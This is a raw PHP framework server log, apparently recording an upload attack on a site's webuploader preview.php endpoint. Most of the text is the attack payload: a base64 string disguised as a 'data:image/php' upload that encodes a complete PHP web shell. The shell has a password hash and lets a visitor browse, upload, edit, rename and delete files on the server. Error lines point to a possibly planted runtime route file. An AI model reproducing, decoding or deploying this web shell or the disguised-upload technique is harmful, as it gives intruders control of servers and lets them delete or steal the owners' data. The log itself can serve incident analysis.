VhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:38+08:00 ] 119.42.146.234 POST 59.110.137.245/public/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002798s] [吞吐率:357.39req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'plugins', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgID